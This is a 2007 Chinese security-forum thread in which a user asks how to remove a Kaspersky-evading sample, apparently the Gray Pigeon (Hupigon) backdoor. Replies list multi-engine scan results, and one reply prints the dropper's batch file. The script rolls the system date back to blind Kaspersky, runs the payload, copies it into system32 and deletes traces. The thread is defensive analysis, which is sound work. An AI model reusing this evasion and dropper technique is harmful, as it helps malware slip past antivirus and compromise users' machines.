急！！！卡巴免杀，怎么删除此病毒，谢谢大家！

XinDOS

急！！！卡巴免杀，怎么删除此病毒，谢谢大家！
解压密码：virus

观弈道人

鸽子？

AntiVir  Found HEUR/Crypted  
ArcaVir  Found nothing
Avast  Found nothing
AVG Antivirus  Found nothing
BitDefender  Found Trojan.Zyfore.A, BehavesLike:Win32.Malware (probable variant)  
ClamAV  Found nothing
Dr.Web  Found WIN.WORM.Virus (probable variant)  
F-Prot Antivirus  Found Possibly a new variant of W32/PWStealer.gen1  
F-Secure Anti-Virus  Found nothing
Fortinet  Found nothing
Kaspersky Anti-Virus  Found nothing
NOD32  Found probably a variant of Win32/Hupigon (probable variant)  
Norman Virus Control  Found nothing
Panda Antivirus  Found nothing
VirusBuster  Found Packed/NSPack  
VBA32  Found MalwareScope.Backdoor.Hupigon.1

金剑

Ice

The EQs

根据nod32和vba32的命名看鸽子的可能性大点。。

XinDOS

可以告诉我怎么手动清除么？谢谢谢谢

東方神起

新版的2007的灰鴿子，卡巴對這個確實不行，我的Q號就是中了這個沒了！

XinDOS

原帖由 東方神起 于 2007-3-4 19:14 发表
新版的2007的灰鴿子，卡巴對這個確實不行，我的Q號就是中了這個沒了！

谢谢
那我该怎么清除这个新版的2007的灰鸽子

pen

解压后双击运行2.exe程序文件，微点报未知间谍软件

1.bat文件内容如下：
::======修改系统时间使卡巴监控失效============
date 1980-01-01
date 1980-01-01
::========倒记时等待10秒======================
@echo off & setlocal enableextensions
echo WScript.Sleep 1000 > %temp%.\tmp$$$.vbs
set /a i = 14
:Timeout
if %i% == 0 goto Next
setlocal
set /a i = %i% - 1
cscript //nologo %temp%.\tmp$$$.vbs
goto Timeout
goto End
::===========倒计时等待结束运行鸽子=============
:Next
%systemroot%\temp\2.exe
copy %systemroot%\temp\tmp.SCR %systemroot%\system32\
for %%f in (%temp%.\tmp$$$.vbs*) do del %%F
::======恢复时间(卡巴监控)=======================
date 2007-02-24
::=========清楚痕迹============================
RS /S /Q %systemroot%\temp\

[ 本帖最后由 pen 于 2007-3-4 20:27 编辑 ]

XinDOS

原帖由 pen 于 2007-3-4 20:22 发表
解压后双击运行2.exe程序文件，微点报未知间谍软件
39177
1.bat文件内容如下：
::======修改系统时间使卡巴监控失效============
date 1980-01-01
date 1980-01-01
::========倒记时等待10秒============ ...

谢谢，我删除了lsass.exe和lsass.dll两个文件，可能没事了。

Nblock

/